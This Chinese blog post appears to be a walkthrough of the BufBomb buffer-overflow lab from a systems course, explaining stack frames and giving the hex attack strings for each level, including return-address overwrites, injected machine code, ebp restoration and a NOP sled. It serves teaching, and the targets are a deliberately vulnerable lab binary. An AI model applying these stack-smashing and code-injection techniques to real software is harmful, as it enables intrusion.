七分钟搞定BufBomb

第一分钟:栈帧

结构如下


Stack Frame

第二分钟:Candle

我们要让getbuf函数不返回到test,而是返回到函数smoke。那么,很直观的,我们应该去修改getbuf函数栈帧中的返回地址。通过分析bufbomb反汇编之后的代码,我们发现buf的开始地址在-0x28(%ebp),而返回地址的存在从0x4(%ebp)之后的四个字节中。因此,我们只需要在buf中输入48个字节,其中最后四个字节为smoke函数的地址(小端顺序),即可。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08

第三分钟:Sparkler

我们这次依然要改变getbuf的返回地址,只不过要返回到函数fizz,依照上一分钟的步骤修改一下即可。不同的是,这一次,我们还要修改fizz的参数。通过分析bufbomb反汇编之后的代码,我们发现是0x8(%ebp)0x804e104这两个地址中的值发生了比较。很明显,后一个是全局变量cookie的值,所以我们要对前一个地址的值进行修改。

让我们回想一下到fizz之前的过程。首先,getbuf运行到了返回,这时,它先movl %ebp, %esp,然后popl %ebp,此时esp也因pop操作而加了4,指向返回地址,这部分是leave的操作。之后,ret被调用,它的作用是popl eip, esp也因为pop操作又加了4,这是eip中存储的应该是fizz的地址。

到了fizz之后,首先还是要进行push %ebpmovl %esp, %ebp。这样,fizz的栈帧中ebp的地址比getfuf的栈帧中ebp的地址高4,这种差异是由于我们并没有像正常的执行过程那样将返回值压栈造成的。所以,fizz中的val应该在比getbufebp高12的地方。

知道了这些,我们就可以构造字符串了。首先我们要重写getbuf的返回地址,这个和上一分钟的做法基本相同,然后,我们要重写val参数,这个应该放在ebp之后12比特开始的4比特中。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 2e 8b 04 08 <- 这四个是覆盖getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 这四个是覆盖val用的

第四分钟:Firecracker

这一分钟,我们需要修改全局变量了。在流程上,我们需要作出一些改变。原来是getbuf->xxx func,现在是getbuf->buf->xxx func。也就是说,我们需要让buf里的语句被运行。所以,这一次,虽然我们还要覆盖getbuf的返回地址,但是要让它返回到buf里。我们先用gdb看一下buf的地址,方法很多,可以查ebp的地址然后运算,也可以查传入Gets的参数。

之后,我们要查找global_value的地址。全局变量的地址是直接载入的,所以在反汇编的代码里查就好。

然后,我们就要开始写hack代码了。首先我们要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c把自己的cookie写进去。然后,我们还要把bang的地址放进eip来实现跳转。pushl $0x08048b82然后ret即可。

最后把这段代码汇编,插入到攻击字符串里。

c7 05 0c e1 04 08 42 2f <- hack代码
4f 7b 68 82 8b 04 08 c3 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 98 38 68 55 <- buf的地址

第五分钟:Dynamite

首先让我们来分析一下我们改变了什么?eip最后会指向该继续运行的地址,所以没有变;esp最后会变成调用后ebp的值,ebp的值没有变,所以esp也是正确的;栈被我们修改了,但是再返回后,我们修改的那部分都被pop掉了,所以也没有变。唯一变了的就是原来的ebp的值,这个在我们hack的时候被覆盖掉了(按我写的字符串来说,会被覆盖成0 0 0 0)。所以我们只需要修复一下ebp就好。

那么ebp的值应该是什么呢?我们只需要用gdb,设置到test里任意位置的断点,然后打印ebp就可以了。

movl    $0x7b4f2f42, %eax ; 放cookie
movl    $0x556838f0, %ebp ;回复一下ebp
pushl   $0x08048bf3       ;push应该返回的地址
ret                       ;pop刚才压进去的地址到eip,实现跳转。

汇编后即可生成代码,然后组合成攻击字符串

b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55

第六分钟:Nitroglycerin

这一分钟和上一分钟做的事没什么区别,不同的是要对变化的栈地址进行处理。

我们从文档中知道,栈的size大于地址的变化幅度,因此老方法还行的通。

对于攻击字符串,我们需要修改三个地方:ebp还原,buf的填充,以及返回地址。

由于地址是不定的,所以我们不能再用固定的值还原ebp。我们在testn中可以发现,ebp-0x28esp,所以可以用esp来计算。(esp在进入getbuf之后变成了ebp,但是在运行buf里的代码的时候,leave代码被运行,这样esp又变了回来)

然后是buf填充。之前是32,现在是512,所以填充的字符串长度也要变成,其次,我们应该用nop(机器码是90)来填充。(之前是什么都可以,现在就不一样了)

最后是返回地址,之前设置为buf的首地址,不过由于现在不知道那是多少,所以应该直接试一下,输出每次的buf地址,选个比较大的,这样,小的也会落在nop区里,总会运行到hack代码。

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 42 2f 2f

4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55

第七分钟:写一下实验报告

如上

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,980评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,178评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,868评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,498评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,492评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,521评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,910评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,569评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,793评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,559评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,639评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,342评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,931评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,904评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,144评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,833评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,350评论 2 342

推荐阅读更多精彩内容